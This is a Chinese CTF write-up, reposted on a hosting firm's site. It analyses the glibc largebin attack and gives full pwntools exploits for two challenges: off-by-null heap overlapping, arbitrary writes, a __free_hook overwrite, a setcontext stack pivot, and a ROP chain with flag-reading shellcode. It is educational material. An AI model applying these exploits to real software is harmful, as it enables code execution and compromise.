本篇文章給大家分享的是有關(guān)怎樣剖析Largebin Attack,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)公司!專注于網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、小程序制作、集團企業(yè)網(wǎng)站建設(shè)等服務(wù)項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了范縣免費建站歡迎大家使用!
從西湖論劍的Storm_note第一次接觸largebin,RCTF的babyheap,發(fā)現(xiàn)這兩道題的本質(zhì)上是一樣的,因此我將通過這兩道題目對largebin attack進行深入研究,從源碼分析到動態(tài)調(diào)試,將largebin attack的整個流程都過了一遍,整理一下largebin attack的利用過程,希望對大家有幫助。
首先從源碼角度靜態(tài)分析將chunk從unsortedbin放入largebin部分的代碼邏輯。
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷,FIFO原則 { bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption"); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //將選中的chunk剝離出來,恢復(fù)unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck;//將其從unsortedbin中取出來 bck->fd = unsorted_chunks (av);//bck要保證地址的有效性 /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif } /* place chunk in bin */ /*把unsortedbin的chunk放入相應(yīng)的bin中*/ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else//large bin { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); /* 如果sizebk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); // 否則正向遍歷,fwd起初是large bin第一個chunk,也就是最大的chunk。 // 直到滿足size>=large bin chunk size while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個chunk assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else// 插入 { //解鏈操作,nextsize只有l(wèi)argebin才有 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
從源碼中可以分析出將chunk(victim)從unsortedbin中取出來放入largebin的具體過程。malloc的時候,遵循FIFO原則,從unsortedbin的鏈尾開始往前遍歷。對每次選中的chunk(代碼中為victim),大致會進行以下操作:
1、如果申請的大小是smallbin范圍內(nèi)&&victim是unsortedbin中僅剩的一個chunk&&victim的大小滿足需求,則利用這個chunk分配給用戶返回;否則將這個victim從unsortedbin中脫離出來。2、除非size剛好是需要的大小,否則將其放入相應(yīng)的smallbin或largebin3、如果是0x400以上(即為largebin),則從大到小的順序找到一個鏈表,該鏈表的size<=size(victim),該鏈表的第一個chunk即為fwd。如果剛好相等,則不對bk_nextsize和fd_nextsize進行操作。4、解鏈操作1(重點關(guān)注最后一步):
victim->bk_nextsize->fd_nextsize = victim
相當(dāng)于fwd->bk_nextsize->fd_nextsize=victim
,即向fwd->bk_nextsize指針中寫入victim的地址。5、解鏈操作2(重點關(guān)注最后一步):bck->fd = victim
相當(dāng)于fwd->bk->fd=victim
,即向fwd->bk的指針中寫入victim的地址。
largebin attack的關(guān)鍵是最后兩個解鏈操作,如果可以控制fwd的bk_nextsize指針和bk指針,可以實現(xiàn)向任意地址寫入victim的地址。
off_by_null
largebin attackunlinkchunk overlapping
[*] '/home/leo/pwn/xihu/Storm_note' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1、init_proc
ssize_t init_proc() { ssize_t result; // rax int fd; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); if ( !mallopt(1, 0) ) // 禁用fastbin exit(-1); if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL ) exit(-1); fd = open("/dev/urandom", 0); if ( fd < 0 ) exit(-1); result = read(fd, (void *)0xABCD0100LL, 0x30uLL); if ( result != 48 ) exit(-1); return result; }
程序一開始就對進程進行初始化,mallopt(1, 0)
禁用了fastbin,然后通過mmap在0xABCD0000分配了一個頁面的可讀可寫空間,最后往里面寫入一個隨機數(shù)。
2、add
for ( i = 0; i <= 15 && note[i]; ++i )//按順序存放堆指針 ; if ( i == 16 ) { puts("full!"); } else { puts("size ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 > 0 && v1 <= 0xFFFFF ) { note[i] = calloc(v1, 1uLL);//清空內(nèi)容 note_size[i] = v1;//0x202060 puts("Done"); }
首先遍歷全局變量note,找到一個沒有存放內(nèi)容的地方保存堆指針。然后限定了申請的堆的大小最多為0xFFFFF,調(diào)用calloc函數(shù)來分配堆空間,因此返回前會對分配的堆的內(nèi)容進行清零。
3、edit
puts("Index ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 >= 0 && v1 <= 15 && note[v1] )//0x2020a0 { puts("Content: "); v2 = read(0, note[v1], (signed int)note_size[v1]); *((_BYTE *)note[v1] + v2) = 0; // off_by_null puts("Done"); }
存在一個off_by_null漏洞,在read后v2保存寫入的字節(jié)數(shù),最后在該偏移處的字節(jié)置為0,形成off_by_null。
4、delete
puts("Index ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 >= 0 && v1 <= 15 && note[v1] ) { free(note[v1]); note[v1] = 0LL; note_size[v1] = 0; }
正常free
5、backdoor
void __noreturn backdoor() { char buf; // [rsp+0h] [rbp-40h] unsigned __int64 v1; // [rsp+38h] [rbp-8h] v1 = __readfsqword(0x28u); puts("If you can open the lock, I will let you in"); read(0, &buf, 0x30uLL); if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) ) system("/bin/sh"); exit(0); }
程序提供一個可以直接getshell的后門,觸發(fā)的條件就是輸入的數(shù)據(jù)與mmap映射的空間的前48個字節(jié)相同。
根據(jù)程序提供的后門,可以通過兩種方法來觸發(fā):
1、通過泄露信息來獲取寫入的隨機數(shù)2、通過實現(xiàn)任意寫來改寫0xABCD0000地址的48字節(jié)隨機數(shù)成已知的數(shù)據(jù)。
但這題沒有提供輸出函數(shù),因此第一種方法不好利用,這里采取第二種方法,實現(xiàn)任意寫。這題由于禁用了fastbin,可以考慮使用largebin attack來是實現(xiàn)任意寫。
1、利用off_by_null 漏洞實現(xiàn)chunk overlapping,從而控制堆塊內(nèi)容。2、將處于unsortedbin的可控制的chunk放入largebin中,以便觸發(fā)largebin attack3、控制largebin的bk和bk_nextsize指針,通過malloc觸發(fā)漏洞,分配到目標(biāo)地址,實現(xiàn)任意地址寫
第一步:chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6
首先分配7個chunk,chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。
edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size
構(gòu)造兩個偽造的prev_size,用于繞過malloc檢查,保護下一個chunk的prev_size不被修改。
dele(1) edit(0,'a'*0x18)#off by null
利用off_by_null漏洞改寫chunk1的size為0x500
add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2) #overlap
先將0x20的chunk釋放掉,然后釋放chunk2,這時觸發(fā)unlink,查可以看到在note中chunk7保存著0x...50的指針,但這一塊是已經(jīng)被釋放掉的大chunk,形成堆塊的重疊。因此如果申請0x18以上的chunk,就能控制該chunk的內(nèi)容了。
#recover add(0x30)#1 add(0x4e0)#2
申請0x30的chunk,形成chunk overlapping。接下來用同樣的方法對第二個大chunk進行overlapping
dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 edit(8,'ffff')
第二步:放入largebin
如何才能觸發(fā)條件,將unsortedbin中的大chunk放入largebin呢?接下來從源碼分析該機制。
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷 { bck = victim->bk; size = chunksize (victim); if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小 {remainder_size = size - nb; remainder = chunk_at_offset (victim, nb);...}//將選中的chunk剝離出來,恢復(fù)unsortedbin if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; //largebin attack //注意這個地方,將unsortedbin的bk設(shè)置為victim->bk,如果我設(shè)置好了這個bk并且能繞過上面的檢查,下次分配就能將target chunk分配出來 if (size == nb)//size相同的情況同樣正常分配 if (in_smallbin_range (size))//放入smallbin { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else//放入large bin { while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize;//fd_nextsize指向比當(dāng)前chunk小的下一個chunk assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else// 插入 { //解鏈操作,nextsize只有l(wèi)argebin才有 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
dele(2) #unsortedbin-> chunk2 -> chunk5(0x5c0) which size is largebin FIFO add(0x4e8) # put chunk8(0x5c0) to largebin dele(2) #put chunk2 to unsortedbin
簡要總結(jié)一下這個過程,在unsortedbin中存放著兩個大chunk,第一個0x4e0,第二個0x4f0。當(dāng)我申請一個0x4e8的chunk時,首先找到0x4e0的chunk,太小了不符合調(diào)件,于是將它拿出unsortedbin,放入largebin。在放入largebin時就會進行兩步解鏈操作,兩個解鏈操作的最后一步是關(guān)鍵。
可以看到從unsortedbin->bk開始遍歷,第一個的size < nb
因此就會放入largebin,繼續(xù)往前遍歷,找到0x4f0的chunk,剛好滿足size==nb
,因此將其分配出來。最后在delete(2)將剛剛分配的chunk2再放回unsortedbin,進行第二次利用。
第三步:largebin attack
再回顧一下之前源碼中更新unsortedbin的地方
bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; //largebin attack
content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) # size payload += p64(0) + p64(fake_chunk) # bk edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(8,payload2)
修改largebin的bk和bk_nextsize
分析一下為什么改寫為這些值。先回顧一下兩個解鏈操作。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
根據(jù)之前的chunk overlappnig,可以控制largebin的bk和bk_nextsize,fwd就是已經(jīng)放入largebin的chunk,victim就是unsortedbin中需要放入largebin的chunk。victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
在fwd->bk_nextsize中放入目標(biāo)的addr,實現(xiàn)*(addr+0x20) = victim
bck->fd = victim;
在fwd->bk中放入目標(biāo)addr,實現(xiàn)*(addr+0x10)=victim
因為unsortedbin中存放了fake_chunk,但那里沒有一個符合條件的size,因此需要通過這個解鏈操作給那里寫入一個地址,作為size。
(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim
最后能在fake_chunk上寫入0x56,而程序開了PIE保護,程序基址有一定幾率以0x56開頭。
bck->fd = unsorted_chunks (av)
同時還要保證bck的地址有效
(fake_chunk+8+0x10)=(fake_chunk+0x18)=victim
add(0x40)
從unsortedbin的bk開始遍歷,發(fā)現(xiàn)bk是0xabcd00e0,bck!=unsorted_chunks (av),因此不會從該chunk中剝離一塊內(nèi)存分配。然后執(zhí)行一下語句
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
將0xabcd00e0->bk重新放入unsortedbin。然后由于size==nb,返回分配,成功將目標(biāo)地址返回。
payload = p64(0) * 2+p64(0) * 6 edit(2,payload) p.sendlineafter('Choice: ','666') p.send(p64(0)*6)
最后將0XABCD0100的隨機數(shù)修改為0,觸發(fā)后門即可。
from pwn import * p = process('./Storm_note') def add(size): p.recvuntil('Choice') p.sendline('1') p.recvuntil('?') p.sendline(str(size)) def edit(idx,mes): p.recvuntil('Choice') p.sendline('2') p.recvuntil('?') p.sendline(str(idx)) p.recvuntil('Content') p.send(mes) def dele(idx): p.recvuntil('Choice') p.sendline('3') p.recvuntil('?') p.sendline(str(idx)) add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2) #overlap #recover add(0x30)#1 add(0x4e0)#2 dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 dele(2) #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0) which size is largebin FIFO add(0x4e8) # put chunk8(0x5c0) to largebin dele(2) #put chunk2 to unsortedbin content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) # size payload += p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(8,payload2) add(0x40) #gdb.attach(p,'vmmap') payload = p64(0) * 2+p64(0) * 6 edit(2,payload) p.sendlineafter('Choice: ','666') p.send(p64(0)*6) p.interactive()
off by one
largebin attackunlinkchunk overlappingROPshellcode編寫
[*] '/home/leo/Desktop/RCTF/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保護全開
1、init
首先選取2字節(jié)的隨機數(shù)作為mmap函數(shù)分配給ptrs的地址,然后禁用了fastbin,最后對一些系統(tǒng)調(diào)用函數(shù)進行限制。利用seccomp-tools工具可以快速查看程序?qū)δ男┖瘮?shù)進行限制。
發(fā)現(xiàn)禁用了fork、execve等函數(shù),因此不能直接調(diào)用system函數(shù)來getshell。可以考慮用open、read、write讀取輸出文件內(nèi)存來獲得flag。
2、add
分析出ptrs的保存的數(shù)據(jù)以16字節(jié)為單位,前8字節(jié)保存用calloc函數(shù)分配的堆塊指針,后8字節(jié)保存對應(yīng)的size。
3、edit
edit函數(shù)存在一個off by null漏洞。
4、delete
安全的free,清空了指針,沒什么問題。
5、show
提供了一個輸出函數(shù),可以用來泄露信息。
1、利用off by null漏洞改寫size,通過unlink形成chunk overlapping對fwd的堆塊的bk和bk_nextsize實施控制。在這過程中順便用show函數(shù)泄露libc和heap地址。2、由于涉及到fwd和victim兩個large size的chunk的操作,需要先將一個chunk放入largebin,另一個放入unsortedbin,然后利用largebin attack往free_hook前某個內(nèi)存錯位寫入0x56作為fake_chunk的size。然后分配到fake_chunk改寫free_hook指針。3、因為程序開啟的保護限制了system函數(shù)的使用,所以不能直接getshell。如果要利用open、read、write來讀取flag文件,需要用到ROP技術(shù)。4、因為只知道libc和heap地址,不知道棧地址和程序基址,首先需要將rsp遷移到堆上。5、最后就能通過ROP來獲取flag
第一步:chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size #gdb.attach(p) #第一個大chunk dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2)#overlap
#第二個大chunk dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580
這一步與Storm_note前一部分是一樣的,這里不多做解釋。
第二步:泄露libc和heap
在形成第一個大chunk的overlapping的時候因為chunk在unsortedbin里,可以順便泄露libc基址和heap地址。這些是常規(guī)操作。
此時能控制的堆塊從0x...50開始,unsortedbin中的堆塊為0x...20,因此需要分配0x20大小的塊出來,使得unsortedbin的地址寫入0x...50。
#recover leak libc add(0x18)#1 show(7) p.recv(1) leak = p.recv(6) libc_base=uu64(leak)-0x3c4b78 success('libc_base= {}'.format(hex(libc_base)))
用同樣的方法,要泄露heap地址,需要在fd上保存下一個堆塊指針,則需要將兩個chunk放入unsortedbin中,同時第二個放入的chunk是可控的。
#leak heap add(0x4e0)#2 add(0x18)#8 dele(3) dele(2) show(7) p.recv(1) data = p.recv(6) heap = uu64(data)-0x550 success('heap= {}'.format(hex(heap))) add(0x4e0) add(0x18)
第三步:largebin attack
dele(2) add(0x4e8) dele(2)
同樣的由于在第一個chunk的大小為0x4e0,不滿足(unsigned long) (size) > (unsigned long) (nb + MINSIZE)
條件,因此將其剝離出來,放入largebin。然后繼續(xù)往前搜索發(fā)現(xiàn)0x4f0滿足要求,返回給用戶。最后再把chunk2重新放入unsortedbin中。形成一個unsortedbin中的victim和largebin中的fwd。
free_hook = libc.symbols['__free_hook']+libc_base fake_chunk = free_hook-0x10 payload = p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(9,payload2) add(0x40)
做了三件事情:
1、將unsortedbin中的victim的bk改寫為fake_chunk,使得下一次往前遍歷時命中這塊內(nèi)存。2、改寫largebin中的fwd的bk為victim,使得bck->fd=unsorted_chunks (av)成功執(zhí)行。3、改寫largebin中的fwd的bk_nextsize為fake_chunk的size字段,錯位寫入heap地址。
第四步:遷移棧到堆,利用ROP
要用到ROP需要在棧上布置數(shù)據(jù),但堆題一般都只是將數(shù)據(jù)放在堆上,因此很難利用ROP。解決方法是利用mov rsp,[xxx]的方法遷移棧到堆上。這里利用的是setcontext函數(shù)中有一段指令可以控制rsp寄存器。
因此,觸發(fā)free_hook前,往free_hook中填寫setcontext+53的地址,注意布置好第一個參數(shù)rdi對應(yīng)的堆塊的數(shù)據(jù),就可以改寫rsp等寄存器的值。
setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) edit(2,p64(setcontext))
接著是往一個堆上布置好ROP的數(shù)據(jù),流程是調(diào)用mprotect將heap改為可執(zhí)行,然后調(diào)用mmap分配一塊可讀可寫可執(zhí)行內(nèi)存,接下來將shellcode復(fù)制到這塊內(nèi)存,最后跳到shellcode開始執(zhí)行。
a = ''' mov esp,0x400100 push 0x67616c66 mov rdi,rsp ''' shellcode = asm(a,arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux') p_rdi=0x0000000000021102+libc_base p_rdx_rsi=0x00000000001150c9+libc_base p_rcx_rbx=0x00000000000ea69a+libc_base p_rsi = 0x00000000000202e8+libc_base mprotect=libc.symbols['mprotect']+libc_base setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) mmap = libc.symbols['mmap']+libc_base edit(2,p64(setcontext)) rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9 rop+= p64(0)*13 rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0] rop+= p64(p_rdi)#push rcx;ret rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect) rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap) rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0) rop+= asm(''' rep movsd push 0x400000 ret ''',arch='amd64',os='linux')+'\x00' rop+= shellcode edit(7,rop) dele(7) p.interactive()
其實這題更簡單的方法是直接利用ROP來open、read、write或者直接在堆上執(zhí)行shellcode。我這么做就是將兩種方法結(jié)合起來。
from pwn import * p = process('./babyheap') libc = ELF('/home/leo/Desktop/libc-2.23.so') #context.log_level='debug' uu64 = lambda data :u64(data.ljust(8, '\0')) def add(size): p.recvuntil('Choice') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) def edit(idx,mes): p.recvuntil('Choice') p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(mes) def dele(idx): p.recvuntil('Choice') p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) def show(idx): p.recvuntil('Choice') p.sendline('4') p.recvuntil('Index:') p.sendline(str(idx)) add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size #gdb.attach(p) dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2)#overlap #recover leak libc add(0x18)#1 show(7) p.recv(1) leak = p.recv(6) libc_base=uu64(leak)-0x3c4b78 success('libc_base= {}'.format(hex(libc_base))) #leak heap add(0x4e0)#2 add(0x18)#8 dele(3) dele(2) show(7) p.recv(1) data = p.recv(6) heap = uu64(data)-0x550 success('heap= {}'.format(hex(heap))) add(0x4e0) add(0x18) ########################## dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 #9 control dele(2) add(0x4e8) dele(2) #gdb.attach(p) free_hook = libc.symbols['__free_hook']+libc_base fake_chunk = free_hook-0x10 payload = p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(9,payload2) #gdb.attach(p) add(0x40)#2 #rop a = ''' mov esp,0x400100 push 0x67616c66 mov rdi,rsp ''' shellcode = asm(a,arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux') p_rdi=0x0000000000021102+libc_base p_rdx_rsi=0x00000000001150c9+libc_base p_rcx_rbx=0x00000000000ea69a+libc_base p_rsi = 0x00000000000202e8+libc_base mprotect=libc.symbols['mprotect']+libc_base setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) mmap = libc.symbols['mmap']+libc_base edit(2,p64(setcontext)) rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9 rop+= p64(0)*13 rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0] rop+= p64(p_rdi)#push rcx;ret rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect) rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap) rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0) rop+= asm(''' rep movsd push 0x400000 ret ''',arch='amd64',os='linux')+'\x00' rop+= shellcode edit(7,rop) dele(7) p.interactive()
通過上述對兩道題目的分析,我總結(jié)出largebin attack的一下利用條件或特點以及利用過程。
利用條件或特點:
1、需要對已經(jīng)free的堆塊進行控制。通常需要off by null或者UAF這類漏洞存在。
2、fastbin不可用。通常會出現(xiàn)mallopt(1,0)禁用fastbin。
3、已知目標(biāo)地址。通??梢孕孤秎ibc來控制free_hook
利用過程:
1、構(gòu)造unsortedbin和largebin兩個大堆塊,并且能控制bk和bk_nextsize指針
2、將unsortedbin中的chunk的bk改為目標(biāo)地址
3、將largebin中的chunk的bk改為目標(biāo)地址+8使其可寫
4、將largebin中的chunk的bk_nextsize改為目標(biāo)地址-0x18-5錯位寫入size以便構(gòu)造fake_chunk
以上就是怎樣剖析Largebin Attack,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。